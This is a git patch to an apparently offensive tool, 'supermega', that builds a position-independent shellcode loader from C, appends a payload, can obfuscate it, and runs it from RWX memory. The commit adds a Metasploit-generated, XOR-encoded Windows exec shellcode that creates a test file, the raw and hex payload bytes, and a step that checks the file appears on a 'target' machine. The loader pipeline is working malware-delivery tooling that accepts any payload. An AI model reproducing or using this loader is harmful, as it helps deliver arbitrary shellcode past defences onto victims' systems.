From 508799cdc95adac65237c96656d6468e1544f773 Mon Sep 17 00:00:00 2001 From: Dobin Date: Sat, 3 Feb 2024 14:43:21 +0000 Subject: [PATCH] feature: createfile shellcode verification --- .gitignore | 1 + helper.py | 68 +++++++++++++++++++++++++++++---------- shellcodes/createfile.bin | 3 ++ shellcodes/createfile.md | 40 +++++++++++++++++++++++ shellcodes/createfile.txt | 25 ++++++++++++++ source/main.c | 4 ++- supermega.py | 41 ++++++++++++++++++++--- 7 files changed, 160 insertions(+), 22 deletions(-) create mode 100644 shellcodes/createfile.bin create mode 100644 shellcodes/createfile.md create mode 100644 shellcodes/createfile.txt diff --git a/.gitignore b/.gitignore index 49c5ff4..8819dd1 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,4 @@ /*.bin *.asm __pycache__ +bak/ diff --git a/helper.py b/helper.py index 191f0b0..34850ef 100644 --- a/helper.py +++ b/helper.py @@ -1,21 +1,32 @@ import subprocess import os import pefile +import time -def clean_files(): - os.remove("main.asm") # generated from compiling source/main.c - os.remove("main-clean.asm") # cleaned for being a shellcode - os.remove("main-clean.exe") # assembled - os.remove("main-clean.bin") - os.remove("main-clean-append.bin") +SHC_VERIFY_SLEEP = 0.1 path_cl = r'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\cl.exe' path_masmshc = r'C:\Users\hacker\Source\Repos\masm_shc\out\build\x64-Debug\masm_shc\masm_shc.exe' +path_ml64 = r'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\ml64.exe' path_runshc = r'C:\Users\hacker\Source\Repos\masm_shc\out\build\x64-Debug\runshc\runshc.exe' path_shexec = r'C:\Research\hasherezade\exec_fiber\sh-exec-fiber.exe' +verify_filename = r'C:\Temp\a' + + +def clean_files(): + try: + os.remove("main.asm") # generated from compiling source/main.c + os.remove("main-clean.asm") # cleaned for being a shellcode + os.remove("main-clean.exe") # assembled + os.remove("main-clean.bin") + os.remove("main-clean-append.bin") + os.remove(verify_filename) + except OSError: + pass + def make_c_to_asm(c_file, asm_file, asm_clean_file): print("--[ Compile C source to ASM: {} -> {} ]".format(c_file, asm_file)) @@ -25,24 +36,24 @@ def make_c_to_asm(c_file, asm_file, asm_clean_file): "/FA", "/GS-", c_file, - ], check=True) + ], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) if not os.path.isfile(asm_file): print("Error") return else: - print(" Generated {}".format(asm_file)) + print(" > Generated {}".format(asm_file)) print("--[ Cleanup ASM: {} -> {} ]".format(asm_file, asm_clean_file)) subprocess.run([ path_masmshc, asm_file, asm_clean_file, - ], check=True) + ], check=True, stdout=subprocess.DEVNULL) if not os.path.isfile(asm_clean_file): print("Error") return else: - print(" Generated {}".format(asm_clean_file)) + print(" > Generated {}".format(asm_clean_file)) print("--[ Fixup ASM: {} ]".format(asm_clean_file)) fixup_asm_file(asm_clean_file) @@ -55,7 +66,7 @@ def fixup_asm_file(filename): # replace external reference with shellcode reference for idx, line in enumerate(lines): if "dobin" in lines[idx]: - print("--( Replace external reference at: {})".format(idx)) + print(" > Replace external reference at: {})".format(idx)) lines[idx] = lines[idx].replace( "mov r8, QWORD PTR dobin", "lea r8, [shcstart]" @@ -64,7 +75,7 @@ def fixup_asm_file(filename): # add label at end of code for idx, line in enumerate(lines): if lines[idx].startswith("END"): - print("--( Add end of code label at: {})".format(idx)) + print(" > Add end of code label at: {})".format(idx)) lines.insert(idx-1, "shcstart:\r\n") lines.insert(idx, "\tnop\r\n") break @@ -75,18 +86,17 @@ def fixup_asm_file(filename): def make_shc_from_asm(asm_clean_file, exe_file, shc_file): print("--[ Assemble to exe ]") - path_ml64 = r'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\ml64.exe' subprocess.run([ path_ml64, asm_clean_file, "/link", "/entry:AlignRSP" - ], check=True) + ], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) if not os.path.isfile(exe_file): print("Error") return else: - print(" Generated {}".format(exe_file)) + print(" > Generated {}".format(exe_file)) print("--[ Get code section from exe ]") code = get_code_section(exe_file) @@ -104,9 +114,10 @@ def get_code_section(pe_file): for section in pe.sections: # Check if this is the code section if '.text' in section.Name.decode().rstrip('\x00'): - print("--> Size: {}".format(section.SizeOfRawData)) data = section.get_data() data = remove_trailing_null_bytes(data) + print(" > Code Size Raw: {} Size me: {}".format( + section.SizeOfRawData, len(data))) return data else: print("Code section not found.") @@ -145,7 +156,7 @@ def obfuscate_shc_loader(file_shc_in, file_shc_out): print("Error") return else: - print(" Generated main-clean-sgn.bin") + print(" > Generated main-clean-sgn.bin") def test_shellcode(shc_name): @@ -155,3 +166,26 @@ def test_shellcode(shc_name): "{}".format(shc_name), ]) # , check=True + +def verify_shellcode(shc_name): + print("--[ Test shellcode: {} ]".format(shc_name)) + + # check if directory exists + if not os.path.exists(os.path.dirname(verify_filename)): + print("Error, directory does not exist for: {}".format(verify_filename)) + return + + # path_runshc + # path_shexec + subprocess.run([ + path_runshc, + "{}".format(shc_name), + ]) # , check=True + time.sleep(SHC_VERIFY_SLEEP) + if os.path.isfile(verify_filename): + print("--> OK. File creation test shellcode payload verified") + # better to remove it immediately. If cleanup on start is not performed, + # there may be false positives + os.remove(verify_filename) + else: + print("--> FAIL. Payload did not create file.") diff --git a/shellcodes/createfile.bin b/shellcodes/createfile.bin new file mode 100644 index 0000000..ed643c2 --- /dev/null +++ b/shellcodes/createfile.bin @@ -0,0 +1,3 @@ +'[S_uWYS^0HHf?5t>uOFVFWUVQO6bOUgOUOU'OuWOMMJ6O6ǫ;f{+'F +FUFVOU'E;O׌Os`OWOCG'NQOF3OJ6O6ǫF +F?rKK#B>r_CG#NaF OCGNFOF_F_Y^]F_F^F]O'FU_F^]OPZOOF6hҼQFO/;{ r@uhm^Fdjc)bb'(d'bdoh'f'9'd=[sbjw[f5 \ No newline at end of file diff --git a/shellcodes/createfile.md b/shellcodes/createfile.md new file mode 100644 index 0000000..17e68bf --- /dev/null +++ b/shellcodes/createfile.md @@ -0,0 +1,40 @@ +# createfile shellcode + +``` +> use payload/windows/x64/exec + +msf6 payload(windows/x64/exec) > set cmd "cmd.exe /c echo a > a" +cmd => cmd.exe /c echo a > a +msf6 payload(windows/x64/exec) > generate -b "\x00" +# windows/x64/exec - 339 bytes +# https://metasploit.com/ +# Encoder: x64/xor_dynamic +# VERBOSE=false, PrependMigrate=false, EXITFUNC=process, +# CMD=cmd.exe /c echo a > a +buf = +"\xeb\x27\x5b\x53\x5f\xb0\x3f\xfc\xae\x75\xfd\x57\x59\x53" + +"\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f" + +"\x04\x74\x74\x07\x80\x3e\x3f\x75\xea\xeb\xe6\xff\xe1\xe8" + +"\xd4\xff\xff\xff\x07\x3f\xfb\x4f\x84\xe3\xf7\xef\xc7\x07" + +"\x07\x07\x46\x56\x46\x57\x55\x56\x51\x4f\x36\xd5\x62\x4f" + +"\x8c\x55\x67\x4f\x8c\x55\x1f\x4f\x8c\x55\x27\x4f\x8c\x75" + +"\x57\x4f\x08\xb0\x4d\x4d\x4a\x36\xce\x4f\x36\xc7\xab\x3b" + +"\x66\x7b\x05\x2b\x27\x46\xc6\xce\x0a\x46\x06\xc6\xe5\xea" + +"\x55\x46\x56\x4f\x8c\x55\x27\x8c\x45\x3b\x4f\x06\xd7\x8c" + +"\x87\x8f\x07\x07\x07\x4f\x82\xc7\x73\x60\x4f\x06\xd7\x57" + +"\x8c\x4f\x1f\x43\x8c\x47\x27\x4e\x06\xd7\xe4\x51\x4f\xf8" + +"\xce\x46\x8c\x33\x8f\x4f\x06\xd1\x4a\x36\xce\x4f\x36\xc7" + +"\xab\x46\xc6\xce\x0a\x46\x06\xc6\x3f\xe7\x72\xf6\x4b\x04" + +"\x4b\x23\x0f\x42\x3e\xd6\x72\xdf\x5f\x43\x8c\x47\x23\x4e" + +"\x06\xd7\x61\x46\x8c\x0b\x4f\x43\x8c\x47\x1b\x4e\x06\xd7" + +"\x46\x8c\x03\x8f\x4f\x06\xd7\x46\x5f\x46\x5f\x59\x5e\x5d" + +"\x46\x5f\x46\x5e\x46\x5d\x4f\x84\xeb\x27\x46\x55\xf8\xe7" + +"\x5f\x46\x5e\x5d\x4f\x8c\x15\xee\x50\xf8\xf8\xf8\x5a\x4f" + +"\xbd\x06\x07\x07\x07\x07\x07\x07\x07\x4f\x8a\x8a\x06\x06" + +"\x07\x07\x46\xbd\x36\x8c\x68\x80\xf8\xd2\xbc\xf7\xb2\xa5" + +"\x51\x46\xbd\xa1\x92\xba\x9a\xf8\xd2\x4f\x84\xc3\x2f\x3b" + +"\x01\x7b\x0d\x87\xfc\xe7\x72\x02\xbc\x40\x14\x75\x68\x6d" + +"\x07\x5e\x46\x8e\xdd\xf8\xd2\x64\x6a\x63\x29\x62\x7f\x62" + +"\x27\x28\x64\x27\x62\x64\x6f\x68\x27\x66\x27\x39\x27\x66" + +"\x07\x04\x74" +``` diff --git a/shellcodes/createfile.txt b/shellcodes/createfile.txt new file mode 100644 index 0000000..738b9e4 --- /dev/null +++ b/shellcodes/createfile.txt @@ -0,0 +1,25 @@ +\xeb\x27\x5b\x53\x5f\xb0\xa8\xfc\xae\x75\xfd\x57\x59\x53 +\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f +\xb5\x35\x74\x07\x80\x3e\xa8\x75\xea\xeb\xe6\xff\xe1\xe8 +\xd4\xff\xff\xff\x07\xa8\xfb\x4f\x84\xe3\xf7\xef\xc7\x07 +\x07\x07\x46\x56\x46\x57\x55\x56\x51\x4f\x36\xd5\x62\x4f +\x8c\x55\x67\x4f\x8c\x55\x1f\x4f\x8c\x55\x27\x4f\x8c\x75 +\x57\x4f\x08\xb0\x4d\x4d\x4a\x36\xce\x4f\x36\xc7\xab\x3b +\x66\x7b\x05\x2b\x27\x46\xc6\xce\x0a\x46\x06\xc6\xe5\xea +\x55\x46\x56\x4f\x8c\x55\x27\x8c\x45\x3b\x4f\x06\xd7\x8c +\x87\x8f\x07\x07\x07\x4f\x82\xc7\x73\x60\x4f\x06\xd7\x57 +\x8c\x4f\x1f\x43\x8c\x47\x27\x4e\x06\xd7\xe4\x51\x4f\xf8 +\xce\x46\x8c\x33\x8f\x4f\x06\xd1\x4a\x36\xce\x4f\x36\xc7 +\xab\x46\xc6\xce\x0a\x46\x06\xc6\x3f\xe7\x72\xf6\x4b\x04 +\x4b\x23\x0f\x42\x3e\xd6\x72\xdf\x5f\x43\x8c\x47\x23\x4e +\x06\xd7\x61\x46\x8c\x0b\x4f\x43\x8c\x47\x1b\x4e\x06\xd7 +\x46\x8c\x03\x8f\x4f\x06\xd7\x46\x5f\x46\x5f\x59\x5e\x5d +\x46\x5f\x46\x5e\x46\x5d\x4f\x84\xeb\x27\x46\x55\xf8\xe7 +\x5f\x46\x5e\x5d\x4f\x8c\x15\xee\x50\xf8\xf8\xf8\x5a\x4f +\xbd\x06\x07\x07\x07\x07\x07\x07\x07\x4f\x8a\x8a\x06\x06 +\x07\x07\x46\xbd\x36\x8c\x68\x80\xf8\xd2\xbc\xf7\xb2\xa5 +\x51\x46\xbd\xa1\x92\xba\x9a\xf8\xd2\x4f\x84\xc3\x2f\x3b +\x01\x7b\x0d\x87\xfc\xe7\x72\x02\xbc\x40\x14\x75\x68\x6d +\x07\x5e\x46\x8e\xdd\xf8\xd2\x64\x6a\x63\x29\x62\x7f\x62 +\x27\x28\x64\x27\x62\x64\x6f\x68\x27\x66\x27\x39\x27\x64 +\x3d\x5b\x73\x62\x6a\x77\x5b\x66\x07\xb5\x35 \ No newline at end of file diff --git a/source/main.c b/source/main.c index 1bb4f9f..d09f5fc 100644 --- a/source/main.c +++ b/source/main.c @@ -51,6 +51,7 @@ int main() } // user32.dll: MessageBoxW() + /* char user32_dll_name[] = { 'u','s','e','r','3','2','.','d','l','l', 0 }; LPVOID u32_dll = _LoadLibraryA(user32_dll_name); char message_box_name[] = { 'M','e','s','s','a','g','e','B','o','x','W', 0 }; @@ -68,6 +69,7 @@ int main() wchar_t msg_content[] = { 'H','e','l','l','o', ' ', 'W','o','r','l','d','!', 0 }; wchar_t msg_title[] = { 'D','e','m','o','!', 0 }; _MessageBoxW(0, msg_title, msg_content, MB_OK); + */ // Copy shellcode // ntdll.dll: VirtualAlloc() @@ -83,7 +85,7 @@ int main() _In_ DWORD flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str); if (_VirtualAlloc == NULL) return 4; char *dest = _VirtualAlloc(NULL, 4096, 0x3000, 0x40); - for(int n=0; n<272; n++) { + for(int n=0; n<347+1; n++) { dest[n] = dobin[n]; } diff --git a/supermega.py b/supermega.py index cba179d..a8797ea 100644 --- a/supermega.py +++ b/supermega.py @@ -20,8 +20,9 @@ class DataRefStyle(Enum): APPEND = 1 -options = { +options_default = { "payload": "shellcodes/calc64.bin", + "verify": False, "cleanup_files_on_start": True, "generate_asm_from_c": True, @@ -29,6 +30,7 @@ options = { "test_loader_shellcode": False, "obfuscate_shc_loader": False, "test_obfuscated_shc": False, + "exec_final_shellcode": True, "alloc_style": AllocStyle.RWX, "exec_style": ExecStyle.CALL, @@ -37,6 +39,31 @@ options = { } +# This will verify if our loader works +# - Use it on a "target" machine +# - payload shellcode will create a file c:\temp\a +# - set: verify=True +options_test = { + "payload": "shellcodes/createfile.bin", + "verify": True, + + "cleanup_files_on_start": True, + "generate_asm_from_c": True, + "generate_shc_from_asm": True, + "test_loader_shellcode": False, + "obfuscate_shc_loader": False, + "test_obfuscated_shc": False, + "exec_final_shellcode": False, + + "alloc_style": AllocStyle.RWX, + "exec_style": ExecStyle.CALL, + "copy_style": CopyStyle.SIMPLE, + "dataref_style": DataRefStyle.APPEND +} + + +options = options_test + def main(): print("Super Mega") @@ -67,14 +94,20 @@ def main(): with open(options["payload"], 'rb') as input2: data_payload = input2.read() - print("---[ Stager: {} Shellcode: {} ]".format(len(data_stager), len(data_payload))) + print("--[ Stager: {} Shellcode: {} (both: {})]".format( + len(data_stager), len(data_payload), len(data_stager)+len(data_payload))) with open("main-clean-append.bin", 'wb') as output: output.write(data_stager) output.write(data_payload) - print("--[ Test Append shellcode ]") - test_shellcode("main-clean-append.bin") + if options["verify"]: + print("--[ Verify final shellcode ]") + verify_shellcode("main-clean-append.bin") + + if options["exec_final_shellcode"]: + print("--[ Test Append shellcode ]") + test_shellcode("main-clean-append.bin") if __name__ == "__main__":